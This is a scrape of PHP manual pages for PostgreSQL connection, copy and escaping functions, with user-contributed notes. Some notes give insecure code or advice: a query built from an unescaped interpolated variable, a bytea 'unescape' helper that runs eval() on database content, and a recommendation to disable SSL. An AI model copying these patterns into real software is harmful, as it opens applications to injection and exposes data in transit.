The connection_string can be empty to use all default parameters, or it can contain one or more parameter settings separated by whitespace. Each parameter setting is in the form keyword = value. Spaces around the equal sign are optional. To write an empty value or a value containing spaces, surround it with single quotes, e.g., keyword = 'a value'. Single quotes and backslashes within the value must be escaped with a backslash, i.e., \' and \\.

The currently recognized parameter keywords are: host, hostaddr, port, dbname (defaults to value of user), user, password, connect_timeout, options, tty (ignored), sslmode, requiressl (deprecated in favor of sslmode), and service. Which of these arguments exist depends on your PostgreSQL version.

The options parameter can be used to set command line parameters to be invoked by the server.

connect_type

If PGSQL_CONNECT_FORCE_NEW is passed, then a new connection is created, even if the connection_string is identical to an existing connection.

Return Values

PostgreSQL connection resource on success, FALSE on failure.

Examples

Example #1 Using pg_connect()

<?php
$dbconn = pg_connect("dbname=mary");
//connect to a database named "mary"

$dbconn2 = pg_connect("host=localhost port=5432 dbname=mary");
// connect to a database named "mary" on "localhost" at port "5432"

$dbconn3 = pg_connect("host=sheep port=5432 dbname=mary user=lamb password=foo");
//connect to a database named "mary" on the host "sheep" with a username and password

$conn_string = "host=sheep port=5432 dbname=test user=lamb password=bar";
$dbconn4 = pg_connect($conn_string);
//connect to a database named "test" on the host "sheep" with a username and password

$dbconn5 = pg_connect("host=localhost options='--client_encoding=UTF8'");
//connect to a database on "localhost" and set the command line parameter which tells the encoding is in UTF-8
?>

See Also

  • pg_pconnect() - Open a persistent PostgreSQL connection
  • pg_close() - Closes a PostgreSQL connection
  • pg_host() - Returns the host name associated with the connection
  • pg_port() - Return the port number associated with the connection
  • pg_tty() - Return the TTY name associated with the connection
  • pg_options() - Get the options associated with the connection
  • pg_dbname() - Get the database name

User Contributed Notes

dreamsoundaudio at gmail dot com 03-Sep-2011 10:06
Ubuntu/Debian users, specifically server versions: If you used Tasksel to build PostgreSQL, and you're banging your head against the wall with the "Fatal error: Call to undefined function pg_connect()" error, check that php5-pgsql is installed.

Tasksel apparently doesn't install it.
pedro2009 at mandic dot com dot br 26-Jun-2011 11:55
I had problems in a PHP program that uses fork() after pg_connect(); I didn't use any pg function inside the child, I just keep using pg functions in the parent process.

In this case, the connection gets "duplicated" and when the child finishes, it automatically calls pg_close() on its destructors, and this makes the parent connection to finish!

If your program needs to fork, then use this sequence:
  pg_connect(); do_somethings(); pg_close(); fork(); pg_connect();

And remember: if your program forks, you CAN NOT use the pg_pconnect() function, because it is persistent.
thakur at corexprts dot com 27-Oct-2010 01:45
One thing is to remember, whenever trying to use pg_connect, add the timeout parameter with it

<?php
$d=pg_connect('host=example.com user=pgsql dbname=postgres connect_timeout=5');
?>
infotirona at yahoo dot com 16-Aug-2010 06:33
It's strange how this "Fatal error: Call to undefined function pg_connect()" happens(when everything else is OK) in PHP version 5.3.3.

I was trying to connect to my db when I got that error message the firs time. My extensions path was OK, pgsql extension  should have been loaded from php.ini(i had enabled it before), Apache started-up without errors, but i still had the "Fatal error: Call to undefined function pg_connect()" message when i tried to connect.
Seaching a bit around i found something about dll libraries not working as they should, so deleted the new 5.3.3 version, downloaded the PHP 5.2.5 and configured it.

I'm using Windows XP Home SP3, Apache 2.2, PHP 5.2.5 and everything works fine now... ;)
kam 09-Jul-2010 07:17
One more note about ssl connection to postgresql. I have a lot of problems with apache memory leaks (debian distro + apache2 + php5), and finally discovered that encrypted connection to postgresql causes those memory leaks.
With 'sslmode=disable' db connection is quickly and needs less memory. So, if you have not a special reason to use encrypted connection, I recommend to set it off.

Thank you, ratio, for your comment.
gutostraube at gmail dot com 02-Oct-2009 06:51
It's possible connect to a PostgreSQL database via Unix socket using the pg_connect() function by the following two ways:

1) Using the socket path:

<?php
$conn = pg_connect('host=/var/run/postgresql user=username dbname=databasename');
?>

2) Omitting the host name/path:

<?php
$conn = pg_connect('user=username dbname=databasename');
?>

Note: in this case (omitting the host value), the default socket path will be used.
ratio 28-Aug-2009 03:57
If the configuration parameter "ssl = true" is set in postgres.conf, and a pg_connect() is done without "sslmode=disable", then the connection seems to be established with SSL by default. Enabling SSL in Postgres can cause performance problems with large data transfers (e.g. bytea), because Postgres has a "built-in" native SSL Support, so Postgres has to do all the encryption.
bgalloway at citycarshare dot org 27-Mar-2008 06:33
Beware about writing something like
<?php
function getdb_FAILS() {
    return pg_connect("...") or die('connection failed');
}
?>

It will return a boolean.  This will appear to be fine if you don't use the return value as a db connection handle, but will fail if you do.

Instead, use:
<?php
function getdb() {
    $db = pg_connect("...") or die('connection failed');
    return $db;
}
?>

which actually returns a handle.
tim at buttersideup dot com 28-Dec-2007 10:41
It's not explicitly stated here, but you can also connect to PostgreSQL via a UNIX domain socket by leaving the host empty.  This should have less overhead than using TCP e.g.:

$dbh = new PDO('pgsql:user=exampleuser dbname=exampledb password=examplepass');

In fact as the C library call PQconnectdb underlies this implementation, you can supply anything that this library call would take - the "pgsql:" prefix gets stripped off before PQconnectdb is called, and if you supply any of the optional arguments (e.g. user), then these arguments will be added to the string that you supplied...  Check the docs for your relevant PostgreSQL client library: e.g.

http://www.postgresql.org/docs/8.3/static/libpq-connect.html

If you really want, you can use ';'s to separate your arguments - these will just be converted to spaces before PQconnectdb is called.

Tim.
xourge 19-Aug-2007 09:17
remember that when you use a blank password there will be an error because of:
password= dbname= (...)
to fix this problem use '' in your $options variable
example:

$options = " host='localhost' port='5432' user='postgres' password='' dbname='test' ";
pg_connect($options);

*** careful: I used double ' after password=, not "
Sohel Taslim 02-Aug-2007 07:20
I got the same problem but I have to solve that in different way.
In my postgresql.conf file the following was commented.
So, I active that under Connection Settings-

# - Connection Settings –
tcpip_socket = true
borovik -at- gmail 03-Apr-2007 07:06
"If you use pg_connect('host=localhost port=5432 user=my_username password=my_password dbname=my_dbname') and you get the following error:
"Warning: pg_connect(): Unable to connect to PostgreSQL server: could not connect to server: Connection refused Is the server running on host localhost and accepting TCP/IP connections on port 5432?"
"
I solved this error just by setting listen_addresses = '*' in the postgresql.conf file. This error occurs probably despite of a name resolution to localhost, given in the "host" parameter. So you can set the host in the pg_connect() function.
Anonymous 10-Apr-2005 09:51
The values accepted by pg_connect's sslmode argument are: disable, allow, prefer, require
phpnet at benjamin dot schulz dot name 01-Sep-2004 04:28
if you need to open a new connection handle (i.e. for multiple pg_send_query()) use PGSQL_CONNECT_FORCE_NEW as second parameter to pg_connect()
Cybertinus 15-Dec-2003 01:47
If you use pg_connect('host=localhost port=5432 user=my_username password=my_password dbname=my_dbname') and you get the following error:
"Warning: pg_connect(): Unable to connect to PostgreSQL server: could not connect to server: Connection refused Is the server running on host localhost and accepting TCP/IP connections on port 5432?"
then you should try to leave the host= and port= parts out of the connection string. This sounds strange, but this is an "option" of Postgre. If you have not activated the TCP/IP port in postgresql.conf then postgresql doesn't accept any incoming requests from an TCP/IP port. If you use host= in your connection string you are going to connect to Postgre via TCP/IP, so that's not going to work. If you leave the host= part out of your connection string you connect to Postgre via the Unix domain sockets, which is faster and more secure, but you can't connect with the database via any other PC as the localhost.
xzilla at users dot sourceforge dot net 09-Dec-2003 08:22
regarding the note from  matias at nospam dot projectcast dot com
on 12-Feb-2002 01:16, you do not need a user in the database with the same name a your web user with ANY version of postgresql.  The only time that would be a requirement ifs if you set your postgresql server to only allow IDENT based authentication  (which IIRC is the default on Red Hat systems, which might be what lead to the confusion).  For more info on the various authentication methods allowed by postgresql, check out http://www.postgresql.org/docs/7.4/static/client-authentication.html
derry at siliconriver.com dot au 07-Aug-2003 08:48
pg_connect seems to support SSL connections, on systems where Postgres has been compiled with ssl, i'm assuming this is since psql uses libpq to connect.
pg_connect can successfully connect, and use the "requiressl" argument.
jtate at php dot net 31-Dec-2002 02:36
If you use host=HOSTNAME in your pg_connect string when connecting to PostgreSQL databases newer than 7.1, you need to make sure that your postmaster daemon is started with the "-i" option.  Otherwise the connection will fail.  See http://www.postgresql.org/idocs/index.php?client-authentication.html for client authentication documentation.
khyri at khyri dot com 31-Oct-2002 04:23
After upgrading to PHP 4.2.3 from PHP 4.1.2 (Red Hat Linux Advanced Server with Stronghold 4.0) in order to manually compile in MHASH support, I discovered that Postgres support has disappeared, despite being specified on the command line, and compiling with no errors.

FATAL: Undefined function: pg_connect()

Confirmed by looking at the output of phpinfo() and comparing it to the output pre-upgrade - no mention of PostgreSQL in the new one.

Detective work led me to find that the old pgsql.so in /usr/lib/php4 was untouched, and the new one had ended up in /usr/lib/20020429 instead.

The fix was to edit config_vars.mk after configuration to change the value of EXTENSION_DIR, and then compile.

Not quite sure where 20020429 came from, looks like a left-over value from development testing...

Anyway, in case any one else has a similar problem, thought I'd document it here, as a problem with pg_connect is where this will first surface as a symptom.
Helio Ferenhof <d-m at eudoramail dot com> 18-Feb-2002 01:20
Connection Hint:
Do you always write at the code the username and password to connect to your PostgreSQL database !?
What if your username or password changes?

Create a connection include file.

---
connection.inc
---
<?php
  $connection = pg_connect("host=localhost port=5432 dbname=DATABASENAME user=USERNAME password=PASSWORD")
      or die ("Nao consegui conectar ao PostGres --> " . pg_last_error($conn));
?>

// you can use $database name and pass it from the php file if you connect into different databases.

---
Phpfile.php
---

<?php
    include('connection.php'); // Include the connection to the databank THEN start your SQL Job :)

    $result=pg_exec("SELECT field FROM table WHERE field = '$something' "); // Sample of SQL QUERY
        $fetch = pg_fetch_row($query_st); // Sample of SQL QUERY

    pg_close($connection); // Close this connection
?>

[]�s
Helio Ferenhof
d-m@eudoramail.com
matias at nospam dot projectcast dot com 12-Feb-2002 01:16
At least with Postgres 7.2, connecting to local postgresdatabase requires a user in the database with the same name as the user running apache, or the connection fails.
rolf at sir-wum dot de 12-Oct-2001 05:54
pg_connect() won't work with the authentication method 'crypt' in the pg_hba.conf. Took me an hour to figure that out till I remeberd some other issues with windows missing the crypt() call.
kayotix at yahoo dot com 14-Sep-2000 11:54
Little note that is buried in the install somewhere.  In Php 3, PostgreSQL support was activated by adding --with-postgresql=[DIR] to the options passed to ./configure.  With Php 4.0.2 (on Linux) the parameter was --with-pgsql.  The only place I found this was in the installing PHP on Unix section of the manual.
leace at post dot cz 21-Jul-2000 02:26
If you use PostgreSQL users for authenticating into your pg database rather than using your own authentication, always specify host directive in pg_connect and edit pg_hba.conf to authenticate from this host accordingly. Otherwise, PHP will connect as 'local' using UNIX domain sockets, which is set in pg_hba.conf to 'trust' by default (so you can connect using psql on console without specifying password) and everyone can connect to db _without password_ .
pg_close
pg_connection_busy
PostgreSQL Functions


Get connection is busy or not

pg_connect
pg_connection_reset
PostgreSQL Functions
PHP Manual

pg_connection_busy

(PHP 4 >= 4.2.0, PHP 5)

pg_connection_busy — Get connection is busy or not

Description

bool pg_connection_busy ( resource $connection )

pg_connection_busy() determines whether or not a connection is busy. If it is busy, a previous query is still executing. If pg_get_result() is used on the connection, it will be blocked.

Parameters

connection

PostgreSQL database connection resource.

Return Values

Returns TRUE if the connection is busy, FALSE otherwise.

Examples

Example #1 pg_connection_busy() example

<?php
  $dbconn = pg_connect("dbname=publisher") or die("Could not connect");
  $bs = pg_connection_busy($dbconn);
  if ($bs) {
      echo 'connection is busy';
  } else {
     echo 'connection is not busy';
  }
?>

See Also

  • pg_connection_status() - Get connection status
  • pg_get_result() - Get asynchronous query result

User Contributed Notes

levi at alliancesoftware dot com dot au 08-Nov-2009 05:00
pg_connection_busy() returning true does not necessarily mean that there are results waiting for pg_get_result(); it also stays true for some time after a query that causes any sort of postgres error. (See http://bugs.php.net/bug.php?id=36469)
pg_connect
pg_connection_reset
PostgreSQL Functions


Reset connection (reconnect)

pg_connection_busy
pg_connection_status
PostgreSQL Functions
PHP Manual

pg_connection_reset

(PHP 4 >= 4.2.0, PHP 5)

pg_connection_reset — Reset connection (reconnect)

Description

bool pg_connection_reset ( resource $connection )

pg_connection_reset() resets the connection. It is useful for error recovery.

Parameters

connection

PostgreSQL database connection resource.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 pg_connection_reset() example

<?php
  $dbconn = pg_connect("dbname=publisher") or die("Could not connect");
  $dbconn2 = pg_connection_reset($dbconn);
  if ($dbconn2) {
      echo "reset successful\n";
  } else {
      echo "reset failed\n";
  }
?>

See Also

  • pg_connect() - Open a PostgreSQL connection
  • pg_pconnect() - Open a persistent PostgreSQL connection
  • pg_connection_status() - Get connection status

User Contributed Notes

There are no user contributed notes for this page.
pg_connection_busy
pg_connection_status
PostgreSQL Functions


Get connection status

pg_connection_reset
pg_convert
PostgreSQL Functions
PHP Manual

pg_connection_status

(PHP 4 >= 4.2.0, PHP 5)

pg_connection_status — Get connection status

Description

int pg_connection_status ( resource $connection )

pg_connection_status() returns the status of the specified connection.

Parameters

connection

PostgreSQL database connection resource.

Return Values

PGSQL_CONNECTION_OK or PGSQL_CONNECTION_BAD.

Examples

Example #1 pg_connection_status() example

<?php
  $dbconn = pg_connect("dbname=publisher") or die("Could not connect");
  $stat = pg_connection_status($dbconn);
  if ($stat === PGSQL_CONNECTION_OK) {
      echo 'Connection status ok';
  } else {
      echo 'Connection status bad';
  }
?>

See Also

  • pg_connection_busy() - Get connection is busy or not

User Contributed Notes

Mathieu De Zutter 02-Aug-2006 05:45
Being careful with the comparison operators is not enough:

<?php
if (pg_connection_status($link)===PGSQL_CONNECTION_BAD)
   reconnect($link);
?>
The reconnect won't be trigged when $link is null.

The manual is just wrong, there are three return values: PGSQL_CONNECTION_OK, PGSQL_CONNECTION_BAD, null
david dot tulloh at infaze dot com dot au 14-Jun-2005 08:33
I think zytox is incorrect, at least in PHP 5.0.4.
It returns null, but you have to be careful with your comparison operators.

As an example:
<?php
unset($null);
if (pg_connection_status($null)===PGSQL_CONNECTION_OK)
    echo 'this is not called';
if (pg_connection_status($null)==PGSQL_CONNECTION_OK)
    echo 'this is called because NULL==0 is true';
?>
zytox at hotmail dot com 02-Apr-2005 10:34
If the connection variable is NULL this function returns 0 in PHP 5.0.2. Havent figured out any more erratic values for the connection variable but be careful.
pg_connection_reset
pg_convert
PostgreSQL Functions


Convert associative array values into suitable for SQL statement

pg_connection_status
pg_copy_from
PostgreSQL Functions
PHP Manual

pg_convert

(PHP 4 >= 4.3.0, PHP 5)

pg_convert — Convert associative array values into suitable for SQL statement

Description

array pg_convert ( resource $connection , string $table_name , array $assoc_array [, int $options = 0 ] )

pg_convert() checks and converts the values in assoc_array into suitable values for use in an SQL statement. Precondition for pg_convert() is the existence of a table table_name which has at least as many columns as assoc_array has elements. The fieldnames in table_name must match the indices in assoc_array and the corresponding datatypes must be compatible. Returns an array with the converted values on success, FALSE otherwise.

Note:

If there are boolean fields in table_name don't use the constant TRUE in assoc_array. It will be converted to the string 'TRUE' which is no valid entry for boolean fields in PostgreSQL. Use one of t, true, 1, y, yes instead.

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Parameters

connection

PostgreSQL database connection resource.

table_name

Name of the table against which to convert types.

assoc_array

Data to be converted.

options

Any number of PGSQL_CONV_IGNORE_DEFAULT, PGSQL_CONV_FORCE_NULL or PGSQL_CONV_IGNORE_NOT_NULL, combined.

Return Values

An array of converted values, or FALSE on error.

Examples

Example #1 pg_convert() example

<?php
  $dbconn = pg_connect('dbname=foo');

  $tmp = array(
      'author' => 'Joe Thackery',
      'year' => 2005,
      'title' => 'My Life, by Joe Thackery'
  );

  $vals = pg_convert($dbconn, 'authors', $tmp);
?>

See Also

  • pg_meta_data() - Get meta data for table

User Contributed Notes

Andrew Falanga 24-Feb-2005 12:03
Why does this function, pg_convert(), reject the string 'TRUE' as a valid value for the boolean types?  I'm using PHP 4.3.9 and my web page originally set the value for submission to update, to 'TRUE'.  pg_convert() threw it back to me saying that it's not a valid value for boolean types.  However, the postgresql website says otherwise.  See http://www.postgresql.org/docs/7.4/static/datatype-boolean.html for the context of my question/comment.
31-Mar-2004 08:02
The only options that I see are:

PGSQL_CONV_IGNORE_DEFAULT  - Do not use DEAFULT value by removing field from returned array
PGSQL_CONV_FORCE_NULL - Convert to NULL if string is null string
PGSQL_CONV_IGNORE_NOT_NULL  - Ignore NOT NULL constraints

These are constants, so don't quote them or anything.
dharana at dharana dot net 12-May-2003 06:28
I've found "options" possible values:

PG_CONV_CHECK - check only
PG_CONV_STRICT - raise warning for non fatal error
PG_CONV_QUOTE - add quote around values for vchar, text datetime.
PG_CONV_SLASH - add slashes if it needed.
PG_CONV_NULLCHK - check values are defined for NOT NULL fields.
PG_CONV_NO_DEFAULT - ignore default value even if value is empty string.
pg_connection_status
pg_copy_from
PostgreSQL Functions


Insert records into a table from an array

pg_convert
pg_copy_to
PostgreSQL Functions
PHP Manual

pg_copy_from

(PHP 4 >= 4.2.0, PHP 5)

pg_copy_from — Insert records into a table from an array

Description

bool pg_copy_from ( resource $connection , string $table_name , array $rows [, string $delimiter [, string $null_as ]] )

pg_copy_from() inserts records into a table from rows. It issues a COPY FROM SQL command internally to insert records.

Parameters

connection

PostgreSQL database connection resource.

table_name

Name of the table into which to copy the rows.

rows

An array of data to be copied into table_name. Each value in rows becomes a row in table_name. Each value in rows should be a delimited string of the values to insert into each field. Values should be linefeed terminated.

delimiter

The token that separates values for each field in each element of rows. Default is TAB.

null_as

How SQL NULL values are represented in the rows. Default is \N ("\\N").

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 pg_copy_from() example

<?php
   $db = pg_connect("dbname=publisher") or die("Could not connect");

   $rows = pg_copy_to($db, $table_name);

   pg_query($db, "DELETE FROM $table_name");

   pg_copy_from($db, $table_name, $rows);
?>

See Also

  • pg_copy_to() - Copy a table to an array

User Contributed Notes

Dave 18-Feb-2011 02:39
Fix for "Copy command failed: ERROR: literal carriage return
found in data" or
"Copy command failed: ERROR: missing data for column
"message" CONTEXT: COPY message, line 1:"

<?php
$message = "HEJ\rHEJ\nHEJ\r\nHEJ\n\rHEJ\tHELLO\\";

$message = addslashes($message);

$message = str_replace(
  array("\n","\r","\t"),
  array("\\n","\\r","\\t"),
  $message);

$copy_message = "1\t". $message ."\t300";

pg_copy_from($db, "message", $copy_message);
?>
etiger13 at gmail dot com 17-Nov-2009 11:10
This will not look in other schema's, only the schema's in your search path. You can temporarily change this behavior with the following code:

<?php
pg_query($conn, "SET search_path TO myschema;");

$copy_from = pg_copy_from($conn, 'tablename', $filetoarray, ",");

if ( !$copy_from )
{
    echo pg_last_error($conn);

    exit;
}

pg_query("RESET search_path;");
?>
Anonymous 11-Jun-2009 03:08
see also: pg_put_line for a solution that does not require buffering of all the data to be copied,
kapouer_php at melix dot org 26-Aug-2007 02:24
pg syntax is :
COPY test (cola, colb, colc) FROM stdin;
...

this function doesn't let you in which order the columns are !
vlad at php dot net 19-Mar-2003 01:38
By default NULL values are a backslash followed with capital N ("\\N").

Also, you can't insert entries with OIDs (I've added it to my TODO list though)
carl at thep.lu.se 10-Sep-2002 03:06
Something needs to be said about the format of the array.
Judging by what I've seen, it's pretty much what you get
from loading a tab-separated file with file(). That is, the
lines are linefeed-terminated and there's no need to have
an extra line with "\.". On the other hand, when I try using this
command the connection to the server ends up in some odd
state and is then lost:
PHP Warning:  UåSèo() query failed: server closed the connection unexpectedly

I think it might be safer to use the lower-level function
pg_put_line() for now.
pg_convert
pg_copy_to
PostgreSQL Functions


Copy a table to an array

pg_copy_from
pg_dbname
PostgreSQL Functions
PHP Manual

pg_copy_to

(PHP 4 >= 4.2.0, PHP 5)

pg_copy_to — Copy a table to an array

Description

array pg_copy_to ( resource $connection , string $table_name [, string $delimiter [, string $null_as ]] )

pg_copy_to() copies a table to an array. It issues COPY TO SQL command internally to retrieve records.

Parameters

connection

PostgreSQL database connection resource.

table_name

Name of the table from which to copy the data into rows.

delimiter

The token that separates values for each field in each element of rows. Default is TAB.

null_as

How SQL NULL values are represented in the rows. Default is \N ("\\N").

Return Values

An array with one element for each line of COPY data. It returns FALSE on failure.

Examples

Example #1 pg_copy_to() example

<?php
   $db = pg_connect("dbname=publisher") or die("Could not connect");

   $rows = pg_copy_to($db, $table_name);

   pg_query($db, "DELETE FROM $table_name");

   pg_copy_from($db, $table_name, $rows);
?>

See Also

  • pg_copy_from() - Insert records into a table from an array

User Contributed Notes

etiger13 at gmail dot com 17-Nov-2009 11:14
You cannot specify the schema name in this command. You can change the search path for just one query by using the following code:

<?php
pg_query($conn, "SET search_path TO myschema;");

$copy_to = pg_copy_to($conn, 'tablename');

pg_query("RESET search_path;");
?>
setantae at submonkey dot net 27-Nov-2002 10:50
"It issues COPY TO SQL command internally to insert records"

I suspect this statement is incorrect, or that s/insert/retrieve/ is appropriate.
pg_copy_from
pg_dbname
PostgreSQL Functions


Get the database name

pg_copy_to
pg_delete
PostgreSQL Functions
PHP Manual

pg_dbname

(PHP 4, PHP 5)

pg_dbname — Get the database name

Description

string pg_dbname ([ resource $connection ] )

pg_dbname() returns the name of the database that the given PostgreSQL connection resource.

Parameters

connection

PostgreSQL database connection resource. When connection is not present, the default connection is used. The default connection is the last connection made by pg_connect() or pg_pconnect().

Return Values

A string containing the name of the database the connection is to, or FALSE on error.

Examples

Example #1 pg_dbname() example

<?php
  error_reporting(E_ALL);

  pg_connect("host=localhost port=5432 dbname=mary");
  echo pg_dbname(); // mary
?>

User Contributed Notes

mark at redbrick dot dcu dot ie 24-Mar-2003 12:37
This function is as simple as it sounds, it returns the name of the database your are currently connected to on the handle retrieved from a pg_connect() call.

<?php
    $pgsql_conn = pg_connect("dbname=mark host=localhost");

    if ($pgsql_conn) {
        print "Successfully connected to database: " . pg_dbname($pgsql_conn) .
         " on " .  pg_host($pgsql_conn) . "<br/>\n";
    } else {
        print pg_last_error($pgsql_conn);
        exit;
    }
?>

[mark@prodigy][*][~/public_html/php]>>>php pg_dbname.php
Content-type: text/html
X-Powered-By: PHP/4.3.1

Successfully connected to database: mark on localhost<br/>

Again this function is much more useful when you are changing which database you are connected to in your program.

Regards,  --mark
pg_copy_to
pg_delete
PostgreSQL Functions


Deletes records

pg_dbname
pg_end_copy
PostgreSQL Functions
PHP Manual

pg_delete

(PHP 4 >= 4.3.0, PHP 5)

pg_delete — Deletes records

Description

mixed pg_delete ( resource $connection , string $table_name , array $assoc_array [, int $options = PGSQL_DML_EXEC ] )

pg_delete() deletes records from a table specified by the keys and values in assoc_array. If options is specified, pg_convert() is applied to assoc_array with the specified options.

Parameters

connection

PostgreSQL database connection resource.

table_name

Name of the table from which to delete rows.

assoc_array

An array whose keys are field names in the table table_name, and whose values are the values of those fields that are to be deleted.

options

Any number of PGSQL_CONV_FORCE_NULL, PGSQL_DML_NO_CONV, PGSQL_DML_EXEC or PGSQL_DML_STRING combined. If PGSQL_DML_STRING is part of the options then query string is returned.

Return Values

Returns TRUE on success or FALSE on failure. Returns string if PGSQL_DML_STRING is passed via options.

Examples

Example #1 pg_delete() example

<?php
  $db = pg_connect('dbname=foo');
  // This is safe, since $_POST is converted automatically
  $res = pg_delete($db, 'post_log', $_POST);
  if ($res) {
      echo "POST data is deleted: $res\n";
  } else {
      echo "User must have sent wrong inputs\n";
  }
?>

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

See Also

  • pg_convert() - Convert associative array values into suitable for SQL statement

User Contributed Notes

27-Apr-2004 03:47
One should take care when checking the return value.
0 == false which is not equal with failed delete.

if(!$res)
  echo "Nothing was deleted";
pg_dbname
pg_end_copy
PostgreSQL Functions


Sync with PostgreSQL backend

pg_delete
pg_escape_bytea
PostgreSQL Functions
PHP Manual

pg_end_copy

(PHP 4 >= 4.0.3, PHP 5)

pg_end_copy — Sync with PostgreSQL backend

Description

bool pg_end_copy ([ resource $connection ] )

pg_end_copy() syncs the PostgreSQL frontend (usually a web server process) with the PostgreSQL server after doing a copy operation performed by pg_put_line(). pg_end_copy() must be issued, otherwise the PostgreSQL server may get out of sync with the frontend and will report an error.

Parameters

connection

PostgreSQL database connection resource. When connection is not present, the default connection is used. The default connection is the last connection made by pg_connect() or pg_pconnect().

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 pg_end_copy() example

<?php
  $conn = pg_pconnect("dbname=foo");
  pg_query($conn, "create table bar (a int4, b char(16), d float8)");
  pg_query($conn, "copy bar from stdin");
  pg_put_line($conn, "3\thello world\t4.5\n");
  pg_put_line($conn, "4\tgoodbye world\t7.11\n");
  pg_put_line($conn, "\\.\n");
  pg_end_copy($conn);
?>

See Also

  • pg_put_line() - Send a NULL-terminated string to PostgreSQL backend

User Contributed Notes

There are no user contributed notes for this page.
pg_delete
pg_escape_bytea
PostgreSQL Functions


Escape a string for insertion into a bytea field

pg_end_copy
pg_escape_identifier
PostgreSQL Functions
PHP Manual

pg_escape_bytea

(PHP 4 >= 4.2.0, PHP 5)

pg_escape_bytea — Escape a string for insertion into a bytea field

Description

string pg_escape_bytea ([ resource $connection ], string $data )

pg_escape_bytea() escapes string for bytea datatype. It returns escaped string.

Note:

When you SELECT a bytea type, PostgreSQL returns octal byte values prefixed with '\' (e.g. \032). Users are supposed to convert back to binary format manually.

This function requires PostgreSQL 7.2 or later. With PostgreSQL 7.2.0 and 7.2.1, bytea values must be cast when you enable multi-byte support. i.e. INSERT INTO test_table (image) VALUES ('$image_escaped'::bytea); PostgreSQL 7.2.2 or later does not need a cast. The exception is when the client and backend character encoding does not match, and there may be multi-byte stream error. User must then cast to bytea to avoid this error.

Parameters

connection

PostgreSQL database connection resource. When connection is not present, the default connection is used. The default connection is the last connection made by pg_connect() or pg_pconnect().

data

A string containing text or binary data to be inserted into a bytea column.

Return Values

A string containing the escaped data.

Changelog

Version | Description
5.2.0 | connection added

Examples

Example #1 pg_escape_bytea() example

<?php
  // Connect to the database
  $dbconn = pg_connect('dbname=foo');

  // Read in a binary file
  $data = file_get_contents('image1.jpg');

  // Escape the binary data
  $escaped = pg_escape_bytea($data);

  // Insert it into the database
  pg_query("INSERT INTO gallery (name, data) VALUES ('Pine trees', '{$escaped}')");
?>

See Also

  • pg_unescape_bytea() - Unescape binary for bytea type
  • pg_escape_string() - Escape a string for query

User Contributed Notes

Mike-RaWare 08-Jul-2010 02:03
To prevent any problems with encoding you could use hexadecimal or base64 input to save and retrieve data to the database:

<?php
  // Connect to the database
  $dbconn = pg_connect( 'dbname=foo' );

  // Read in a binary file
  $data = file_get_contents( 'image1.jpg' );

  // Escape the binary data
  $escaped = bin2hex( $data );

  // Insert it into the database
  pg_query( "INSERT INTO gallery (name, data) VALUES ('Pine trees', decode('{$escaped}' , 'hex'))" );

  // Get the bytea data
  $res = pg_query("SELECT encode(data, 'base64') AS data FROM gallery WHERE name='Pine trees'");
  $raw = pg_fetch_result($res, 'data');

  // Convert to binary and send to the browser
  header('Content-type: image/jpeg');
  echo base64_decode($raw);
?>
gglockner AT NOSPAMdwaffler DOT com 17-Jul-2009 02:13
If you're getting errors about nonstandard use of \\ in a string literal, then you need to escape the encoded bytea as follows:

<?php
$escaped = pg_escape_bytea($data);
pg_query("INSERT INTO gallery (name, data) VALUES ('Pine trees', E'$escaped'::bytea)");
?>
ynzhang from lakeheadu of ca 18-Feb-2009 01:44
The reason pg_unescape_bytea() do not exactly reproduce the binary data created by pg_escape_bytea() is because the backslash \ and single quote ' are double escaped by the pg_escape_bytea() function. This will lead to image seems corrupted when retrieve from the bytea field. The proper way to escape&unescape a binary string into a PG bytea field as follow:

<?php
$escaped_data = str_replace(array("\\\\", "''"), array("\\", "'"), pg_escape_bytea($data));
/* and later unescape the escaped data from the bytea field with following to get the original binary data */

$original_data = pg_unescape_bytea($escaped_data));
?>

more details at: http://archives.postgresql.org/pgsql-php/2007-02/msg00014.php
Mocha 07-Aug-2003 05:20
to unescape_bytea use stripcslashes(). If you need to escape bytea and don't have pg_escape_bytea() function then use:

<?php
function escByteA($binData) {
  /**
   * \134 = 92 = backslash, \000 = 00 = NULL, \047 = 39 = Single Quote
   *
   * str_replace() replaces the searches array in order. Therefore, we must
   * process the 'backslash' character first. If we process it last, it'll
   * replace all the escaped backslashes from the other searches that came
   * before.
   */
  $search = array(chr(92), chr(0), chr(39));
  $replace = array('\\\134', '\\\000', '\\\047');
  $binData = str_replace($search, $replace, $binData);
  return $binData;
  //echo "<pre>$binData</pre>";
  //exit;
}
?>
php at tobias dot olsson dot be 17-Aug-2002 09:56
if you need to change back bytea from the db to normal data, this will do that:

<?php
function pg_unescape_bytea($bytea) {
return eval("return \"".str_replace('$', '\\$', str_replace('"', '\\"', $bytea))."\";");
}

// use like this
$rs = pg_query($conn, "SELECT image from images LIMIT 1");
$image = pg_unescape_bytea(pg_fetch_result($rs, 0, 0));
?>

/Tobias
pg_end_copy
pg_escape_identifier
PostgreSQL Functions


Escape a identifier for insertion into a text field

pg_escape_bytea
pg_escape_literal
PostgreSQL Functions
PHP Manual

pg_escape_identifier

(No version information available, might only be in SVN)

pg_escape_identifier — Escape a identifier for insertion into a text field

Description

string pg_escape_identifier ([ resource $connection ], string $data )

pg_escape_identifier() escapes a identifier (e.g. table, field names) for quering the database. It returns an escaped identifier string for PostgreSQL server. pg_escape_identifier() adds double quotes before and after data. Users should not add double quotes. Use of this function is recommended for identifier parameters in query. For SQL literals (i.e. parameters except bytea), pg_escape_literal() or pg_escape_string() muse be used. For bytea type fields, pg_escape_bytea() must be used instead.

Note:

This function has internal escape code and can also be used with PostgreSQL 8.4 or less.

Parameters

connection

PostgreSQL database connection resource. When connection is not present, the default connection is used. The default connection is the last connection made by pg_connect() or pg_pconnect().

data

A string containing text to be escaped.

Return Values

A string containing the escaped data.

Examples

Example #1 pg_escape_identifier() example

<?php
  // Connect to the database
  $dbconn = pg_connect('dbname=foo');

  // Escape the table name data
  $escaped = pg_escape_identifier($table_name);

  // Select rows from $table_name
  pg_query("SELECT * FROM {$escaped};");
?>

See Also

  • pg_escape_literal() - Escape a literal for insertion into a text field
  • pg_escape_bytea() - Escape a string for insertion into a bytea field
